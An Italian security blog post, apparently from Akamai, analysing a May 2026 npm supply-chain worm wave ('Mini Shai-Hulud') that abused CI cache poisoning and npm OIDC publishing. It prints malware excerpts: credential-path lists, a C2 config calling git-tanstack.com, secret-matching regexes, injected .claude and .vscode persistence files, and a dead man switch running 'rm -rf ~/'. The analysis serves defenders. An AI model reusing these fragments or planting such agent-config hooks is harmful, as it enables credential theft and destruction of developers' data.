L'Akamai Security Intelligence Group ha identificato una nuova ondata di attacchi alla supply chain di Shai-Hulud che sta interessando l'ecosistema di npm. I clienti di Akamai Hunt interessati hanno già ricevuto una mappatura dettagliata delle risorse vulnerabili con pratici consigli sulla segmentazione e sulla mitigazione.
Concetti chiave
L'11 maggio 2026, una nuova ondata di attacchi alla supply chain di Shai-Hulud ha colpito l'ecosistema di npm pubblicando versioni dannose di pacchetti nella struttura delle dipendenze di TanStack.
L'attacco è stato eseguito appropriandosi del workflow legittimo dei rilasci tramite un attacco di cache poisoning basato sull'integrazione continua (CI) e l'endpoint di pubblicazione OIDC (OpenID Connect) di npm.
La campagna si è rapidamente ampliata oltre TanStack con pacchetti npm aggiuntivi collegati a Mistral AI, UiPath, OpenSearch, ecc.
Il giorno successivo, alcuni nuovi repository GitHub hanno ospitato il codice sorgente del worm Shai-Hulud.
In questo post del blog, analizziamo il malware appena rilasciato, esaminiamo come questa ondata di attacchi si differenzia dalle ondate precedenti e forniamo consigli sulla mitigazione rivolti ai responsabili della manutenzione e alle organizzazioni.
L'11 maggio 2026, TeamPCP ha proseguito la sua campagna di attacchi alla supply chain introducendo un nuovo payload sotto forma di una variante shai-hulud. Nel nostro precedente blog su questo argomento, abbiamo notato che il gruppo ransomware Vect aveva annunciato una partnership con TeamPCP, che potrebbe passare dal furto di credenziali ad attacchi a scopo di estorsione e ransomware su larga scala.
Questa nuova campagna offre il primo segnale concreto che tale cambiamento potrebbe già essere in corso.
Le precedenti ondate del worm Shai-Hulud
Il worm Shai-Hulud è apparso per la prima volta a settembre 2025. Il suo meccanismo di base era semplice: rubare un token di pubblicazione di npm, enumerare ogni pacchetto che il token poteva raggiungere, inserire codice dannoso e ripubblicare.
Dopo il suo debutto, il worm Shai-Hulud è rimasto attivo fino alla fine dell'anno, riemergendo a novembre e dicembre 2025 con una funzionalità di cancellazione dei dati aggiornata.
La nuova ondata di attacchi include il cache poisoning della CI e l'abuso di OIDC
Ogni ondata precedente è iniziata con una violazione di credenziali, ma non questo evento.
TeamPCP, l'autore della violazione di Trivy avvenuta a marzo 2026 e di diverse operazioni successive, ha rivendicato la paternità di questa nuova ondata, denominata Mini Shai-Hulud.
Per questa nuova ondata, i criminali hanno sfruttato un errore di configurazione del workflow delle pull request presente nella CI di GitHub Actions in TanStack. Una pull request proveniente da un fork ha attivato un workflow con accesso in scrittura alla cache del repository di base. Il codice del criminale ha effettuato il "poisoning" (avvelenamento) della cache e ha aspettato.
Otto ore dopo, la fusione di un responsabile della mantenzione legittimo ha attivato il workflow dei rilasci standard, che ha estratto la cache compromessa e ha eseguito il codice del criminale.
Esfiltrazione automatizzata dei token di GitHub Actions
Il worm del criminale ha quindi esfiltrato i token direttamente dalla memoria del runner di GitHub Actions e li ha scambiati con credenziali di pubblicazione di npm tramite l'endpoint di scambio dei token di npm. Nessun token di npm è stato "rubato" e il workflow della pubblicazione non sembrava essere compromesso, rendendo l'attacco invisibile e concedendo la convalida dell'attestazione SLSA.
Un'altra modifica fondamentale è che ora il payload crea un daemon in background, che utilizza il token rubato dall'accesso iniziale. Se il token viene revocato, il daemon elimina immediatamente l'intera directory principale della vittima.
Vettori di persistenza nelle applicazioni per sviluppatori
La persistenza del malware è stata estesa anche per includere gli hook delle sessioni di Claude Code e l'automazione delle attività si VS Code, che sopravvivono entrambi ad un'operazione di disinstallazione di npm.
Il worm stesso non è cambiato: una volta ottenute le credenziali valide, il worm enumera ogni pacchetto che identifica e cerca di inserirsi in tali pacchetti.
La campagna diventa pubblica
La sera del 12 maggio 2026, il codice del worm utilizzato in modo illecito è stato rilasciato pubblicamente. Anche se non possiamo essere certi che questo codice sia identico al malware che colpisce TanStack, tuttavia, il payload completo è ora disponibile per tutti.
Un frammento di uno degli repository GitHub prima della rimozione
Attacco malware: il loop principale
Il loop principale del worm non è molto grande; infatti, comprende solo poche fasi, tuttavia, accuratamente selezionate:
Fase 0: controlli di preflight
Fase 1: vantaggi rapidi
Fase 2: comunicazione C2 (Command and Control)
Fase 3: raccolta delle credenziali della piattaforma
Fase 4: diffusione continua
Il loop principale ha un aspetto simile al seguente:
main()
└── preflight()
└── setupQuickResults()
└── C2 / Dispatcher setup
└── collector.ingest(...)
└── collector.run(providers)
└── ReadmeUpdater / spread
└── collector.finalize() Fase 0: controlli di preflight
Il malware inizia a controllare se viene eseguito nel pacchetto opensearch-js. In tal caso, tenta di inserire un backdoor nel pacchetto, attivare il suo client OIDC, sottrarre immediatamente le credenziali e falsificare la firma SLSA.
Successivamente, il malware controlla se la lingua del sistema è impostata sul russo. In tal caso, il malware viene chiuso,
quindi completa i controlli di preflight assicurandosi che sia l'unica istanza in esecuzione, confermando che viene eseguito all'interno di un ambiente CI/CD e impedendo la terminazione tramite SIGINT o SIGTERM.
Fase 1: vantaggi rapidi
In questa fase, il malware tenta di raccogliere rapidamente il maggior numero possibile di credenziali dall'endpoint, leggendo più di 1.000 posizioni di credenziali note, tentando di eseguire gh auth token e acquisendo process.env per sottrarre le credenziali dalle variabili di ambiente.
LINUX:[
…
scramble("~/.ssh/known_hosts"),
scramble("~/.terraform.d/credentials.tfrc.json"),
scramble("/var/lib/docker/containers/*/config.v2.json"),
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
scramble("~/.viminfo"),
scramble("**/wp-config.php"),
scramble("~/.yarnrc"),
scramble("~/.zcash/wallet.dat"),
scramble("~/.zsh_history"),
]
WIN: [
".env",
"config.ini",
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
scramble("%APPDATA%\\ProtonVPN\\user.config"),
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
scramble("%APPDATA%\\Private Internet Access\*.conf"),
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
],
OSX: [
scramble("~/.ansible/*"),
scramble("~/.aws/config"),
scramble("~/.aws/credentials"),
scramble("~/.azure/accessTokens.json"),
scramble("~/.azure/msal_token_cache.*"),
scramble("~/.bash_history"),
scramble("~/.bitcoin/wallet.dat"),Fase 2: comunicazione C2 (Command and Control)
Il worm imposta quindi la comunicazione C2 con il server principale:
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
dry_run: false,
};Utilizzando la sua funzione principale di dispatcher, il worm crittografa tutti i dati rubati con una chiave pubblica RSA integrata nel codice sorgente prima della trasmissione. Ciò garantisce che solo l'autore dell'attacco possa leggere i dati esfiltrati. Il codice, inoltre, invita gli operatori futuri a sostituire questa chiave.
Il malware tenta per la prima volta di contattare il server C2 primario. Se la comunicazione è bloccata, viene nuovamente creato un nuovo repository GitHub nell'account della vittima, in cui vengono inseriti i dati crittografati. L'autore dell'attacco può quindi monitorare GitHub per questi repository utilizzando la loro descrizione distintiva.
Quando i dati crittografati raggiungono i 100 KB, inizia l'esfiltrazione.
Fase 3: raccolta delle credenziali della piattaforma
Una volta completata la configurazione, il malware inizia un'acquisizione di credenziali più aggressiva da piattaforme quali AWS, Kubernetes, GitHub, ecc.
Ad esempio, negli ambienti di Kubernetes, il worm tenta di iterare su molte posizioni e segreti diversi utilizzando espressioni regolari:
constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";Nella raccolta correlata ad AWS, alcune delle posizioni di ricerca del worm includono:
~/.aws/credentials
~/.aws/config
~/.azure/accessTokens.json
~/.azure/msal_token_cache.*
~/.config/gcloud/credentials.db
access_tokens.db
application_default_credentials.json
~/.terraform.d/credentials.tfrc.json
Una volta completata la raccolta, il malware invia i dati raccolti tramite il suo canale C2 e continua a diffondersi in altri repository.
Uno dei comportamenti non correlati al sistema è rappresentato dal fatto che il malware cerca anche wallet di bitcoin, che puntano, in particolare, a ~/.bitcoin/wallet.dat.
Fase 4: diffusione continua
Per diffondersi ulteriormente, il worm utilizza ogni token GitHub valido che riesce a trovare per creare un workflow in grado di sottrarre ulteriori segreti e proseguire la catena di infezione.
Se non viene trovato alcun token per il workflow, il worm si estende ripetendo ogni ramo di GitHub che rileva e inserendo file dannosi, tra cui un caricatore e il file binario del worm, nelle cartelle correlate ad agenti AI come .claude e .vscode:
const FILE_UPDATES: FileSourceMap = {
".vscode/tasks.json": task,
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
".claude/settings.json": claude_settings,
".claude/setup.mjs": config,
".vscode/setup.mjs": config,
};Se il worm trova i token di npm, avvia il suo NPMClient e copia il malware in packages/opensearch_init.js.
Il malware utilizza una catena di diffusione simile per i token OIDC.
Attacco malware: il dead man switch
Oltre al loop principale, una delle parti più importanti del malware è il suo dead man switch. Una volta ogni 60 secondi, il malware controlla se i token sono stati cambiati. In tal caso, il worm tenta di eliminare i file dal computer:
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));Sebbene ci siano molti altri aspetti e livelli di codice qui non trattati, riteniamo che il comportamento descritto sia sufficiente per dimostrare la complessità e l'intento dei criminali.
Rilevamento e mitigazione
Per proteggere la tua organizzazione, ti consigliamo di consultare immediatamente un esperto di sicurezza e di adottare le seguenti misure:
Eseguire il downgrade dei pacchetti infetti con versioni sicure
Ridurre il raggio d'azione degli host interessati tramite la segmentazione della rete
Uno sguardo al futuro
Questa campagna segna un altro punto di escalation nelle operazioni in corso di TeamPCP. Per otto mesi, il gruppo ha eseguito una campagna di furto di credenziali metodica e tecnicamente sofisticata, incentrata sulla raccolta di segreti, sull'abuso dei workflow degli sviluppatori e sull'ampliamento dell'accesso in tutti gli ambienti della supply chain del software.
Questa versione più recente mostra un investimento continuo in automazione, raccolta di credenziali e propagazione tra repository, pacchetti e strumenti per sviluppatori. Questa campagna emerge immediatamente dopo l'annuncio della partnership tra TeamPCP e Vect.
Poiché il worm è ora pubblico e la toolchain è disponibile per altri operatori, il problema non è più limitato solo a TeamPCP. Le stesse tecniche possono ora essere studiate, adattate e riutilizzate da altri criminali.
Tieniti al passo
L'Akamai Security Intelligence Group continuerà a monitorare, segnalare e creare mitigazioni per minacce come queste per i clienti dell'azienda e per la più vasta comunità della sicurezza. Per aggiornamenti sulle ultime novità dell'Akamai Security Intelligence Group, puoi consultare la nostra pagina relativa ai lavori di ricerca e seguirci sui social media.
Tag
